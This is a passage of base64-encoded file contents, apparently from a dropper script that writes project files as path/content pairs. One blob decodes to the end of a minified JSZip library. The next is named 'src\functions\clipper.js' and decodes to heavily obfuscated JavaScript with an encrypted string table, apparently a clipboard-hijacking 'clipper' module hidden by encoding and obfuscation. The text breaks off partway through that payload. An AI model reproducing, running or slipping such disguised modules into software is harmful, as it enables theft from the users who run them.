pO3grUzx3JiYhKCh6LT1PW3grU10pPD0wKTspeCsrLHo8PD0xO2lmKEMrPTE8PHgsMT09PXQmJjg1MjxDfHwyPT09dCYmNTkyPEMpcmV0dXJuIDE7bltsPUUmZl09azw8MjR8eDw8MTZ8ZC1zfDB9fXJldHVybiAwIT09RSYmKG5bZCtFXT1iLVM8PDI0fDY0PDwxNnwwKSxvLmJpdHM9aywwfX0seyIuLi91dGlscy9jb21tb24iOjQxfV0sNTE6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7ZS5leHBvcnRzPXsyOiJuZWVkIGRpY3Rpb25hcnkiLDE6InN0cmVhbSBlbmQiLDA6IiIsIi0xIjoiZmlsZSBlcnJvciIsIi0yIjoic3RyZWFtIGVycm9yIiwiLTMiOiJkYXRhIGVycm9yIiwiLTQiOiJpbnN1ZmZpY2llbnQgbWVtb3J5IiwiLTUiOiJidWZmZXIgZXJyb3IiLCItNiI6ImluY29tcGF0aWJsZSB2ZXJzaW9uIn19LHt9XSw1MjpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0Ijt2YXIgbj10KCIuLi91dGlscy9jb21tb24iKSxvPTAsaD0xO2Z1bmN0aW9uIGkodCl7Zm9yKHZhciBlPXQubGVuZ3RoOzA8PS0tZTspdFtlXT0wfXZhciBzPTAsYT0yOSx1PTI1NixsPXUrMSthLGY9MzAsZD0xOSxfPTIqbCsxLGc9MTUsYz0xNixwPTcsbT0yNTYsYj0xNix2PTE3LHk9MTgsdz1bMCwwLDAsMCwwLDAsMCwwLDEsMSwxLDEsMiwyLDIsMiwzLDMsMywzLDQsNCw0LDQsNSw1LDUsNSwwXSxrPVswLDAsMCwwLDEsMSwyLDIsMywzLDQsNCw1LDUsNiw2LDcsNyw4LDgsOSw5LDEwLDEwLDExLDExLDEyLDEyLDEzLDEzXSx4PVswLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDIsMyw3XSxTPVsxNiwxNywxOCwwLDgsNyw5LDYsMTAsNSwxMSw0LDEyLDMsMTMsMiwxNCwxLDE1XSx6PW5ldyBBcnJheSgyKihsKzIpKTtpKHopO3ZhciBDPW5ldyBBcnJheSgyKmYpO2koQyk7dmFyIEU9bmV3IEFycmF5KDUxMik7aShFKTt2YXIgQT1uZXcgQXJyYXkoMjU2KTtpKEEpO3ZhciBJPW5ldyBBcnJheShhKTtpKEkpO3ZhciBPLEIsUixUPW5ldyBBcnJheShmKTtmdW5jdGlvbiBEKHQsZSxyLGksbil7dGhpcy5zdGF0aWNfdHJlZT10LHRoaXMuZXh0cmFfYml0cz1lLHRoaXMuZXh0cmFfYmFzZT1yLHRoaXMuZWxlbXM9aSx0aGlzLm1heF9sZW5ndGg9bix0aGlzLmhhc19zdHJlZT10JiZ0Lmxlbmd0aH1mdW5jdGlvbiBGKHQsZSl7dGhpcy5keW5fdHJlZT10LHRoaXMubWF4X2NvZGU9MCx0aGlzLnN0YXRfZGVzYz1lfWZ1bmN0aW9uIE4odCl7cmV0dXJuIHQ8MjU2P0VbdF06RVsyNTYrKHQ+Pj43KV19ZnVuY3Rpb24gVSh0LGUpe3QucGVuZGluZ19idWZbdC5wZW5kaW5nKytdPTI1NSZlLHQucGVuZGluZ19idWZbdC5wZW5kaW5nKytdPWU+Pj44JjI1NX1mdW5jdGlvbiBQKHQsZSxyKXt0LmJpX3ZhbGlkPmMtcj8odC5iaV9idWZ8PWU8PHQuYmlfdmFsaWQmNjU1MzUsVSh0LHQuYmlfYnVmKSx0LmJpX2J1Zj1lPj5jLXQuYmlfdmFsaWQsdC5iaV92YWxpZCs9ci1jKToodC5iaV9idWZ8PWU8PHQuYmlfdmFsaWQmNjU1MzUsdC5iaV92YWxpZCs9cil9ZnVuY3Rpb24gTCh0LGUscil7UCh0LHJbMiplXSxyWzIqZSsxXSl9ZnVuY3Rpb24gaih0LGUpe2Zvcih2YXIgcj0wO3J8PTEmdCx0Pj4+PTEscjw8PTEsMDwtLWU7KTtyZXR1cm4gcj4+PjF9ZnVuY3Rpb24gWih0LGUscil7dmFyIGksbixzPW5ldyBBcnJheShnKzEpLGE9MDtmb3IoaT0xO2k8PWc7aSsrKXNbaV09YT1hK3JbaS0xXTw8MTtmb3Iobj0wO248PWU7bisrKXt2YXIgbz10WzIqbisxXTswIT09byYmKHRbMipuXT1qKHNbb10rKyxvKSl9fWZ1bmN0aW9uIFcodCl7dmFyIGU7Zm9yKGU9MDtlPGw7ZSsrKXQuZHluX2x0cmVlWzIqZV09MDtmb3IoZT0wO2U8ZjtlKyspdC5keW5fZHRyZWVbMiplXT0wO2ZvcihlPTA7ZTxkO2UrKyl0LmJsX3RyZWVbMiplXT0wO3QuZHluX2x0cmVlWzIqbV09MSx0Lm9wdF9sZW49dC5zdGF0aWNfbGVuPTAsdC5sYXN0X2xpdD10Lm1hdGNoZXM9MH1mdW5jdGlvbiBNKHQpezg8dC5iaV92YWxpZD9VKHQsdC5iaV9idWYpOjA8dC5iaV92YWxpZCYmKHQucGVuZGluZ19idWZbdC5wZW5kaW5nKytdPXQuYmlfYnVmKSx0LmJpX2J1Zj0wLHQuYmlfdmFsaWQ9MH1mdW5jdGlvbiBIKHQsZSxyLGkpe3ZhciBuPTIqZSxzPTIqcjtyZXR1cm4gdFtuXTx0W3NdfHx0W25dPT09dFtzXSYmaVtlXTw9aVtyXX1mdW5jdGlvbiBHKHQsZSxyKXtmb3IodmFyIGk9dC5oZWFwW3JdLG49cjw8MTtuPD10LmhlYXBfbGVuJiYobjx0LmhlYXBfbGVuJiZIKGUsdC5oZWFwW24rMV0sdC5oZWFwW25dLHQuZGVwdGgpJiZuKyssIUgoZSxpLHQuaGVhcFtuXSx0LmRlcHRoKSk7KXQuaGVhcFtyXT10LmhlYXBbbl0scj1uLG48PD0xO3QuaGVhcFtyXT1pfWZ1bmN0aW9uIEsodCxlLHIpe3ZhciBpLG4scyxhLG89MDtpZigwIT09dC5sYXN0X2xpdClmb3IoO2k9dC5wZW5kaW5nX2J1Zlt0LmRfYnVmKzIqb108PDh8dC5wZW5kaW5nX2J1Zlt0LmRfYnVmKzIqbysxXSxuPXQucGVuZGluZ19idWZbdC5sX2J1ZitvXSxvKyssMD09PWk/TCh0LG4sZSk6KEwodCwocz1BW25dKSt1KzEsZSksMCE9PShhPXdbc10pJiZQKHQsbi09SVtzXSxhKSxMKHQscz1OKC0taSksciksMCE9PShhPWtbc10pJiZQKHQsaS09VFtzXSxhKSksbzx0Lmxhc3RfbGl0Oyk7TCh0LG0sZSl9ZnVuY3Rpb24gWSh0LGUpe3ZhciByLGksbixzPWUuZHluX3RyZWUsYT1lLnN0YXRfZGVzYy5zdGF0aWNfdHJlZSxvPWUuc3RhdF9kZXNjLmhhc19zdHJlZSxoPWUuc3RhdF9kZXNjLmVsZW1zLHU9LTE7Zm9yKHQuaGVhcF9sZW49MCx0LmhlYXBfbWF4PV8scj0wO3I8aDtyKyspMCE9PXNbMipyXT8odC5oZWFwWysrdC5oZWFwX2xlbl09dT1yLHQuZGVwdGhbcl09MCk6c1syKnIrMV09MDtmb3IoO3QuaGVhcF9sZW48Mjspc1syKihuPXQuaGVhcFsrK3QuaGVhcF9sZW5dPXU8Mj8rK3U6MCldPTEsdC5kZXB0aFtuXT0wLHQub3B0X2xlbi0tLG8mJih0LnN0YXRpY19sZW4tPWFbMipuKzFdKTtmb3IoZS5tYXhfY29kZT11LHI9dC5oZWFwX2xlbj4+MTsxPD1yO3ItLSlHKHQscyxyKTtmb3Iobj1oO3I9dC5oZWFwWzFdLHQuaGVhcFsxXT10LmhlYXBbdC5oZWFwX2xlbi0tXSxHKHQscywxKSxpPXQuaGVhcFsxXSx0LmhlYXBbLS10LmhlYXBfbWF4XT1yLHQuaGVhcFstLXQuaGVhcF9tYXhdPWksc1syKm5dPXNbMipyXStzWzIqaV0sdC5kZXB0aFtuXT0odC5kZXB0aFtyXT49dC5kZXB0aFtpXT90LmRlcHRoW3JdOnQuZGVwdGhbaV0pKzEsc1syKnIrMV09c1syKmkrMV09bix0LmhlYXBbMV09bisrLEcodCxzLDEpLDI8PXQuaGVhcF9sZW47KTt0LmhlYXBbLS10LmhlYXBfbWF4XT10LmhlYXBbMV0sZnVuY3Rpb24odCxlKXt2YXIgcixpLG4scyxhLG8saD1lLmR5bl90cmVlLHU9ZS5tYXhfY29kZSxsPWUuc3RhdF9kZXNjLnN0YXRpY190cmVlLGY9ZS5zdGF0X2Rlc2MuaGFzX3N0cmVlLGQ9ZS5zdGF0X2Rlc2MuZXh0cmFfYml0cyxjPWUuc3RhdF9kZXNjLmV4dHJhX2Jhc2UscD1lLnN0YXRfZGVzYy5tYXhfbGVuZ3RoLG09MDtmb3Iocz0wO3M8PWc7cysrKXQuYmxfY291bnRbc109MDtmb3IoaFsyKnQuaGVhcFt0LmhlYXBfbWF4XSsxXT0wLHI9dC5oZWFwX21heCsxO3I8XztyKyspcDwocz1oWzIqaFsyKihpPXQuaGVhcFtyXSkrMV0rMV0rMSkmJihzPXAsbSsrKSxoWzIqaSsxXT1zLHU8aXx8KHQuYmxfY291bnRbc10rKyxhPTAsYzw9aSYmKGE9ZFtpLWNdKSxvPWhbMippXSx0Lm9wdF9sZW4rPW8qKHMrYSksZiYmKHQuc3RhdGljX2xlbis9byoobFsyKmkrMV0rYSkpKTtpZigwIT09bSl7ZG97Zm9yKHM9cC0xOzA9PT10LmJsX2NvdW50W3NdOylzLS07dC5ibF9jb3VudFtzXS0tLHQuYmxfY291bnRbcysxXSs9Mix0LmJsX2NvdW50W3BdLS0sbS09Mn13aGlsZSgwPG0pO2ZvcihzPXA7MCE9PXM7cy0tKWZvcihpPXQuYmxfY291bnRbc107MCE9PWk7KXU8KG49dC5oZWFwWy0tcl0pfHwoaFsyKm4rMV0hPT1zJiYodC5vcHRfbGVuKz0ocy1oWzIqbisxXSkqaFsyKm5dLGhbMipuKzFdPXMpLGktLSl9fSh0LGUpLFoocyx1LHQuYmxfY291bnQpfWZ1bmN0aW9uIFgodCxlLHIpe3ZhciBpLG4scz0tMSxhPWVbMV0sbz0wLGg9Nyx1PTQ7Zm9yKDA9PT1hJiYoaD0xMzgsdT0zKSxlWzIqKHIrMSkrMV09NjU1MzUsaT0wO2k8PXI7aSsrKW49YSxhPWVbMiooaSsxKSsxXSwrK288aCYmbj09PWF8fChvPHU/dC5ibF90cmVlWzIqbl0rPW86MCE9PW4/KG4hPT1zJiZ0LmJsX3RyZWVbMipuXSsrLHQuYmxfdHJlZVsyKmJdKyspOm88PTEwP3QuYmxfdHJlZVsyKnZdKys6dC5ibF90cmVlWzIqeV0rKyxzPW4sdT0obz0wKT09PWE/KGg9MTM4LDMpOm49PT1hPyhoPTYsMyk6KGg9Nyw0KSl9ZnVuY3Rpb24gVih0LGUscil7dmFyIGksbixzPS0xLGE9ZVsxXSxvPTAsaD03LHU9NDtmb3IoMD09PWEmJihoPTEzOCx1PTMpLGk9MDtpPD1yO2krKylpZihuPWEsYT1lWzIqKGkrMSkrMV0sISgrK288aCYmbj09PWEpKXtpZihvPHUpZm9yKDtMKHQsbix0LmJsX3RyZWUpLDAhPS0tbzspO2Vsc2UgMCE9PW4/KG4hPT1zJiYoTCh0LG4sdC5ibF90cmVlKSxvLS0pLEwodCxiLHQuYmxfdHJlZSksUCh0LG8tMywyKSk6bzw9MTA/KEwodCx2LHQuYmxfdHJlZSksUCh0LG8tMywzKSk6KEwodCx5LHQuYmxfdHJlZSksUCh0LG8tMTEsNykpO3M9bix1PShvPTApPT09YT8oaD0xMzgsMyk6bj09PWE/KGg9NiwzKTooaD03LDQpfX1pKFQpO3ZhciBxPSExO2Z1bmN0aW9uIEoodCxlLHIsaSl7UCh0LChzPDwxKSsoaT8xOjApLDMpLGZ1bmN0aW9uKHQsZSxyLGkpe00odCksaSYmKFUodCxyKSxVKHQsfnIpKSxuLmFycmF5U2V0KHQucGVuZGluZ19idWYsdC53aW5kb3csZSxyLHQucGVuZGluZyksdC5wZW5kaW5nKz1yfSh0LGUsciwhMCl9ci5fdHJfaW5pdD1mdW5jdGlvbih0KXtxfHwoZnVuY3Rpb24oKXt2YXIgdCxlLHIsaSxuLHM9bmV3IEFycmF5KGcrMSk7Zm9yKGk9cj0wO2k8YS0xO2krKylmb3IoSVtpXT1yLHQ9MDt0PDE8PHdbaV07dCsrKUFbcisrXT1pO2ZvcihBW3ItMV09aSxpPW49MDtpPDE2O2krKylmb3IoVFtpXT1uLHQ9MDt0PDE8PGtbaV07dCsrKUVbbisrXT1pO2ZvcihuPj49NztpPGY7aSsrKWZvcihUW2ldPW48PDcsdD0wO3Q8MTw8a1tpXS03O3QrKylFWzI1NituKytdPWk7Zm9yKGU9MDtlPD1nO2UrKylzW2VdPTA7Zm9yKHQ9MDt0PD0xNDM7KXpbMip0KzFdPTgsdCsrLHNbOF0rKztmb3IoO3Q8PTI1NTspelsyKnQrMV09OSx0Kyssc1s5XSsrO2Zvcig7dDw9Mjc5Oyl6WzIqdCsxXT03LHQrKyxzWzddKys7Zm9yKDt0PD0yODc7KXpbMip0KzFdPTgsdCsrLHNbOF0rKztmb3IoWih6LGwrMSxzKSx0PTA7dDxmO3QrKylDWzIqdCsxXT01LENbMip0XT1qKHQsNSk7Tz1uZXcgRCh6LHcsdSsxLGwsZyksQj1uZXcgRChDLGssMCxmLGcpLFI9bmV3IEQobmV3IEFycmF5KDApLHgsMCxkLHApfSgpLHE9ITApLHQubF9kZXNjPW5ldyBGKHQuZHluX2x0cmVlLE8pLHQuZF9kZXNjPW5ldyBGKHQuZHluX2R0cmVlLEIpLHQuYmxfZGVzYz1uZXcgRih0LmJsX3RyZWUsUiksdC5iaV9idWY9MCx0LmJpX3ZhbGlkPTAsVyh0KX0sci5fdHJfc3RvcmVkX2Jsb2NrPUosci5fdHJfZmx1c2hfYmxvY2s9ZnVuY3Rpb24odCxlLHIsaSl7dmFyIG4scyxhPTA7MDx0LmxldmVsPygyPT09dC5zdHJtLmRhdGFfdHlwZSYmKHQuc3RybS5kYXRhX3R5cGU9ZnVuY3Rpb24odCl7dmFyIGUscj00MDkzNjI0NDQ3O2ZvcihlPTA7ZTw9MzE7ZSsrLHI+Pj49MSlpZigxJnImJjAhPT10LmR5bl9sdHJlZVsyKmVdKXJldHVybiBvO2lmKDAhPT10LmR5bl9sdHJlZVsxOF18fDAhPT10LmR5bl9sdHJlZVsyMF18fDAhPT10LmR5bl9sdHJlZVsyNl0pcmV0dXJuIGg7Zm9yKGU9MzI7ZTx1O2UrKylpZigwIT09dC5keW5fbHRyZWVbMiplXSlyZXR1cm4gaDtyZXR1cm4gb30odCkpLFkodCx0LmxfZGVzYyksWSh0LHQuZF9kZXNjKSxhPWZ1bmN0aW9uKHQpe3ZhciBlO2ZvcihYKHQsdC5keW5fbHRyZWUsdC5sX2Rlc2MubWF4X2NvZGUpLFgodCx0LmR5bl9kdHJlZSx0LmRfZGVzYy5tYXhfY29kZSksWSh0LHQuYmxfZGVzYyksZT1kLTE7Mzw9ZSYmMD09PXQuYmxfdHJlZVsyKlNbZV0rMV07ZS0tKTtyZXR1cm4gdC5vcHRfbGVuKz0zKihlKzEpKzUrNSs0LGV9KHQpLG49dC5vcHRfbGVuKzMrNz4+PjMsKHM9dC5zdGF0aWNfbGVuKzMrNz4+PjMpPD1uJiYobj1zKSk6bj1zPXIrNSxyKzQ8PW4mJi0xIT09ZT9KKHQsZSxyLGkpOjQ9PT10LnN0cmF0ZWd5fHxzPT09bj8oUCh0LDIrKGk/MTowKSwzKSxLKHQseixDKSk6KFAodCw0KyhpPzE6MCksMyksZnVuY3Rpb24odCxlLHIsaSl7dmFyIG47Zm9yKFAodCxlLTI1Nyw1KSxQKHQsci0xLDUpLFAodCxpLTQsNCksbj0wO248aTtuKyspUCh0LHQuYmxfdHJlZVsyKlNbbl0rMV0sMyk7Vih0LHQuZHluX2x0cmVlLGUtMSksVih0LHQuZHluX2R0cmVlLHItMSl9KHQsdC5sX2Rlc2MubWF4X2NvZGUrMSx0LmRfZGVzYy5tYXhfY29kZSsxLGErMSksSyh0LHQuZHluX2x0cmVlLHQuZHluX2R0cmVlKSksVyh0KSxpJiZNKHQpfSxyLl90cl90YWxseT1mdW5jdGlvbih0LGUscil7cmV0dXJuIHQucGVuZGluZ19idWZbdC5kX2J1ZisyKnQubGFzdF9saXRdPWU+Pj44JjI1NSx0LnBlbmRpbmdfYnVmW3QuZF9idWYrMip0Lmxhc3RfbGl0KzFdPTI1NSZlLHQucGVuZGluZ19idWZbdC5sX2J1Zit0Lmxhc3RfbGl0XT0yNTUmcix0Lmxhc3RfbGl0KyssMD09PWU/dC5keW5fbHRyZWVbMipyXSsrOih0Lm1hdGNoZXMrKyxlLS0sdC5keW5fbHRyZWVbMiooQVtyXSt1KzEpXSsrLHQuZHluX2R0cmVlWzIqTihlKV0rKyksdC5sYXN0X2xpdD09PXQubGl0X2J1ZnNpemUtMX0sci5fdHJfYWxpZ249ZnVuY3Rpb24odCl7UCh0LDIsMyksTCh0LG0seiksZnVuY3Rpb24odCl7MTY9PT10LmJpX3ZhbGlkPyhVKHQsdC5iaV9idWYpLHQuYmlfYnVmPTAsdC5iaV92YWxpZD0wKTo4PD10LmJpX3ZhbGlkJiYodC5wZW5kaW5nX2J1Zlt0LnBlbmRpbmcrK109MjU1JnQuYmlfYnVmLHQuYmlfYnVmPj49OCx0LmJpX3ZhbGlkLT04KX0odCl9fSx7Ii4uL3V0aWxzL2NvbW1vbiI6NDF9XSw1MzpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtlLmV4cG9ydHM9ZnVuY3Rpb24oKXt0aGlzLmlucHV0PW51bGwsdGhpcy5uZXh0X2luPTAsdGhpcy5hdmFpbF9pbj0wLHRoaXMudG90YWxfaW49MCx0aGlzLm91dHB1dD1udWxsLHRoaXMubmV4dF9vdXQ9MCx0aGlzLmF2YWlsX291dD0wLHRoaXMudG90YWxfb3V0PTAsdGhpcy5tc2c9IiIsdGhpcy5zdGF0ZT1udWxsLHRoaXMuZGF0YV90eXBlPTIsdGhpcy5hZGxlcj0wfX0se31dLDU0OltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO2UuZXhwb3J0cz0iZnVuY3Rpb24iPT10eXBlb2Ygc2V0SW1tZWRpYXRlP3NldEltbWVkaWF0ZTpmdW5jdGlvbigpe3ZhciB0PVtdLnNsaWNlLmFwcGx5KGFyZ3VtZW50cyk7dC5zcGxpY2UoMSwwLDApLHNldFRpbWVvdXQuYXBwbHkobnVsbCx0KX19LHt9XX0se30sWzEwXSkoMTApfSk7CgpleHBvcnQgZGVmYXVsdCBKU1ppcDsK'),@('c3JjXGZ1bmN0aW9uc1xjbGlwcGVyLmpz', 'ZnVuY3Rpb24gXzB4MWJmOSgpe2NvbnN0IF8weDExMDM4ZD1bJ1c0ZGNRbWtMVzdKY1ZTa2ZsRycsJ2w4bzdmdXRkTEcnLCdXN2RjTThrM1dSeGNKQ29BZnd5Y2VDb3d2VycsJ0VTb0xXNVBPRklkY1NJZW1XUGFJVzY3Y0xhJywnY2JqTXNnZGRROGt5V1BhJywneHdLb2Y4a0FXN3hjSzhrbScsJ1c2bXZXNXhjTHEwY1dRdGNWd0NpVzVGY0lXdScsJ1dPaGNHU2swJywnVzcwT1c2R0hmcScsJ1c2V2NXNEpkVThvZldRTmNTOG9aVzR0ZFBIbGRPbWtFJywnRXZPSFc1QmNHbW92RXduTmhtazJCYScsJ1c3SmNUQ2swV1EvZFNXJywnVzRUOFdSL2NLOGsrV1JoY0hhJywnVzRaY1FLUmRHU2t2JywnV1FwY0lDb0NXNEwwJywnd3NEM25Ta2VvQ2tGeFNvd2lta1ptQ2srJywnRnY0UVc1QmNHbW9EaGhuVG1TazNxU29BJywnVzRhVWlKQzEnLCdXUDNkT1k4dFc0ZGRTbW9FJywnVzZ2eWU4a1pXNXE0V1JmS0Jta1hXNDBRJywnVzdaY084a1pwQ2tGV090ZEdmWGtXUWZEQkcnLCdXNFdia2VaZFNHJywnZGQ1bEJhNTJXNk8nLCdXNi9jUVNvc0JXJywncHZDQkFhJywnV1IvY1ZDa2FBbWtTeENvNEFtazRDYTNjTFcnLCdXT0tkbG1rb1c1VycsJ1dPVDhXTzdjU1NrbycsJ1dSWHNXUnZ2emhoZFJxdlhXNkpjR01kY0lxJywnZDhvZkJYdGRWRycsJ1dScnZXUE5jUkNrQycsJ3dxSGonLCdXNnhjUW1rUnlOTycsJ1c0U0lXUWRkT3I4JywnVzVUeURTb0NXT2hjR2E1VFdRZGRLMzdjSWEnLCdXT2VueHF0ZFR3bGRQWUxIY0NvdWJaZScsJ1c0eGRMOG9aV09sZFY4bzV4MEw2cmREVldRQyddO18weDFiZjk9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTEwMzhkO307cmV0dXJuIF8weDFiZjkoKTt9KGZ1bmN0aW9uKF8weDIxM2EyNCxfMHgxYTY4OGUpe2Z1bmN0aW9uIF8weGNjMjA0YShfMHgzM2UzYTEsXzB4Mjk2MmVlLF8weDNjMGFiNixfMHgzY2Y4YjAsXzB4MjgxMzQ1KXtyZXR1cm4gXzB4Mzk2MChfMHgyOTYyZWUtIC0weDJiNSxfMHgzM2UzYTEpO31mdW5jdGlvbiBfMHgzZTgwZTgoXzB4NWJhY2QwLF8weDU2MWQyNyxfMHgxOTJhNWEsXzB4M2QxNzczLF8weDNjNDEwMil7cmV0dXJuIF8weDM5NjAoXzB4MTkyYTVhLTB4MzNmLF8weDNjNDEwMik7fWNvbnN0IF8weDViMjFjNT1fMHgyMTNhMjQoKTtmdW5jdGlvbiBfMHgyNDc3MTIoXzB4MWZjMGNmLF8weGM2MTUwYSxfMHg0YTM0MTUsXzB4MWRiNWNjLF8weDQ3ZmVlMCl7cmV0dXJuIF8weDM5NjAoXzB4MWRiNWNjLSAtMHg0MyxfMHg0YTM0MTUpO31mdW5jdGlvbiBfMHg1YWMzNjAoXzB4NWNlZWVkLF8weDIwNzAzNSxfMHg0OTU5MGEsXzB4M2ZjNjE1LF8weDE2NTRhOSl7cmV0dXJuIF8weDM5NjAoXzB4MjA3MDM1LSAtMHgzOGMsXzB4NWNlZWVkKTt9ZnVuY3Rpb24gXzB4Mjk5YWE3KF8weDRjNGU4OCxfMHgxNmI5ZDksXzB4MWI5MmZkLF8weDk1NjUzMSxfMHg1Y2VlYmEpe3JldHVybiBfMHgzOTYwKF8weDVjZWViYS0weDg3LF8weDRjNGU4OCk7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBfMHgyZDIyOTQ9cGFyc2VJbnQoXzB4NWFjMzYwKCczUTJOJywtMHgyODcsLTB4MjhkLC0weDI3ZCwtMHgyOGMpKS8oLTB4MWU4ZSsweDFkZjIrMHg5ZCkqKHBhcnNlSW50KF8weDVhYzM2MCgnY0dIcicsLTB4MjkzLC0weDI4NiwtMHgyOTAsLTB4MjgxKSkvKDB4MjhmKi0weDUrMHhkN2IrMHgyKi0weDU3KSkrLXBhcnNlSW50KF8weDVhYzM2MCgnSmplSycsLTB4MjhhLC0weDI4ZSwtMHgyODYsLTB4MjlhKSkvKDB4MTczYSstMHgzKjB4OWI3KzB4YioweDhhKStwYXJzZUludChfMHgyNDc3MTIoMHhiNywweGI1LCc5VUFeJywweGM3LDB4YzYpKS8oMHgxYjc3Ky0weDE1KjB4ZTArMHg5MTMqLTB4MSkqKC1wYXJzZUludChfMHg1YWMzNjAoJ0kzU28nLC0weDI5OCwtMHgyODgsLTB4MjkyLC0weDJhMykpLygtMHg0KjB4NjI2KzB4ZjQzKzB4OTVhKSkrcGFyc2VJbnQoXzB4MjQ3NzEyKDB4YmQsMHhiNSwna2YkIycsMHhjNSwweGNhKSkvKC0weDIyYjErMHgxKi0weGI2NCstMHgxOTcqLTB4MWQpK3BhcnNlSW50KF8weGNjMjA0YSgnbnY0aScsLTB4MWEwLC0weDE5OSwtMHgxYjAsLTB4MWE3KSkvKC0weDU1YysweDE5NWIrLTB4MWFhKjB4YykrLXBhcnNlSW50KF8weGNjMjA0YSgnNEByaCcsLTB4MWJmLC0weDFjNywtMHgxZDAsLTB4MWI5KSkvKDB4ODJlKjB4MSstMHgxM2EqLTB4MSstMHg5NjApKigtcGFyc2VJbnQoXzB4MjQ3NzEyKDB4YzcsMHhkMiwnR084TCcsMHhkMSwweGNiKSkvKDB4MWYzKzB4NTVhKy0weDc0NCkpKy1wYXJzZUludChfMHg1YWMzNjAoJzFwVUMnLC0weDI3ZSwtMHgyN2MsLTB4MjhlLC0weDI3NikpLygtMHhhODgrMHhjMDUqMHgxKzB4NyotMHgzNSk7aWYoXzB4MmQyMjk0PT09XzB4MWE2ODhlKWJyZWFrO2Vsc2UgXzB4NWIyMWM1WydwdXNoJ10oXzB4NWIyMWM1WydzaGlmdCddKCkpO31jYXRjaChfMHgxNjY3NDUpe18weDViMjFjNVsncHVzaCddKF8weDViMjFjNVsnc2hpZnQnXSgpKTt9fX0oXzB4MWJmOSwweGZiZDQ2KzB4NzdiN2QrLTB4YzMwYzgpKTtmdW5jdGlvbiBfMHgzOTYwKF8weDI5MjVhZixfMHg0ZWEyNjQpe2NvbnN0IF8weGQ3NzA1YT1fMHgxYmY5KCk7cmV0dXJuIF8weDM5NjA9ZnVuY3Rpb24oXzB4MmM1ZDJiLF8weDQyZjJkZCl7XzB4MmM1ZDJiPV8weDJjNWQyYi0oLTB4YmNjKzB4YiotMHgxODUrMHgxMioweDFhMyk7bGV0IF8weGY4NzllYT1fMHhkNzcwNWFbXzB4MmM1ZDJiXTtpZihfMHgzOTYwWydWa1d3aVUnXT09PXVuZGVmaW5lZCl7dmFyIF8weDM5YWM5Yj1mdW5jdGlvbihfMHg2MjhjM2Ype2NvbnN0IF8weDJhZmEyNT0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHgzMjExNDE9JycsXzB4MzYzOGFmPScnO2ZvcihsZXQgXzB4MWQyYTRiPTB4MSotMHgxNmRjKzB4MTEqMHgyM2IrLTB4NSoweDMwMyxfMHg4NDU5ZWQsXzB4MjMxYzQ5LF8weDIyZDYyZT0tMHgxMDkyKzB4MTljMystMHg5MzE7XzB4MjMxYzQ5PV8weDYyOGMzZlsnY2hhckF0J10oXzB4MjJkNjJlKyspO35fMHgyMzFjNDkmJihfMHg4NDU5ZWQ9XzB4MWQyYTRiJSgtMHgzNDUrLTB4MWQ1MSsweDIwOWEpP18weDg0NTllZCooLTB4MWE3NiotMHgxKzB4MTdjZistMHgzZDkqMHhkKStfMHgyMzFjNDk6XzB4MjMxYzQ5LF8weDFkMmE0YisrJSgtMHgxZmU2Ky0weDU1NysweGIqMHgzNjMpKT9fMHgzMjExNDErPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oLTB4MWQxZCstMHgyKi0weGUyYystMHg0Ki0weDcxJl8weDg0NTllZD4+KC0oMHgzYTUrMHg1ODArLTB4MSoweDkyMykqXzB4MWQyYTRiJi0weDE4MisweDFjZWYqLTB4MSsweDJjNSoweGIpKTotMHgxZDNmKi0weDErMHg2NiotMHgzNystMHg3NTUpe18weDIzMWM0OT1fMHgyYWZhMjVbJ2luZGV4T2YnXShfMHgyMzFjNDkpO31mb3IobGV0IF8weDNlNWJhYz0weDIqLTB4ZDMzKzB4MSoweDZlMisweDEzODQsXzB4MWViMWQxPV8weDMyMTE0MVsnbGVuZ3RoJ107XzB4M2U1YmFjPF8weDFlYjFkMTtfMHgzZTViYWMrKyl7XzB4MzYzOGFmKz0nJScrKCcwMCcrXzB4MzIxMTQxWydjaGFyQ29kZUF0J10oXzB4M2U1YmFjKVsndG9TdHJpbmcnXSgweDFhMDkrMHg3MWMrLTB4MSoweDIxMTUpKVsnc2xpY2UnXSgtKC0weDE0YTIrLTB4MyotMHg3NGMrMHgxKi0weDE0MCkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDM2MzhhZik7fTtjb25zdCBfMHgzODlhNTY9ZnVuY3Rpb24oXzB4NThhOGUwLF8weDU3ZWI1Mil7bGV0IF8weDM1OTE4Zj1bXSxfMHgzZjJhZTc9MHg3YjQqLTB4NCsweDE5MWMrMHhhKjB4OTIsXzB4NTFiM2U4LF8weDNmZGJjZj0nJztfMHg1OGE4ZTA9XzB4MzlhYzliKF8weDU4YThlMCk7bGV0IF8weDk1Mzg5NDtmb3IoXzB4OTUzODk0PTB4MjQqMHgxZisweDI0NjArLTB4MjhiYztfMHg5NTM4OTQ8LTB4MTdkNSsweGQ5ZSsweGIzNztfMHg5NTM4OTQrKyl7XzB4MzU5MThmW18weDk1Mzg5NF09XzB4OTUzODk0O31mb3IoXzB4OTUzODk0PTB4MWUxMyoweDErLTB4YzIwKy0weDExZjM7XzB4OTUzODk0PDB4ZGQqLTB4MysweDIwYSstMHgxOGQqLTB4MTtfMHg5NTM4OTQrKyl7XzB4M2YyYWU3PShfMHgzZjJhZTcrXzB4MzU5MThmW18weDk1Mzg5NF0rXzB4NTdlYjUyWydjaGFyQ29kZUF0J10oXzB4OTUzODk0JV8weDU3ZWI1MlsnbGVuZ3RoJ10pKSUoMHgxMTdjKy0weDEqMHgyNjIxKzB4MTVhNSksXzB4NTFiM2U4PV8weDM1OTE4ZltfMHg5NTM4OTRdLF8weDM1OTE4ZltfMHg5NTM4OTRdPV8weDM1OTE4ZltfMHgzZjJhZTddLF8weDM1OTE4ZltfMHgzZjJhZTddPV8weDUxYjNlODt9XzB4OTUzODk0PTB4MTYxKjB4MTgrMHgyMTBjKy0weDQyMjQsXzB4M2YyYWU3PTB4NWUqLTB4M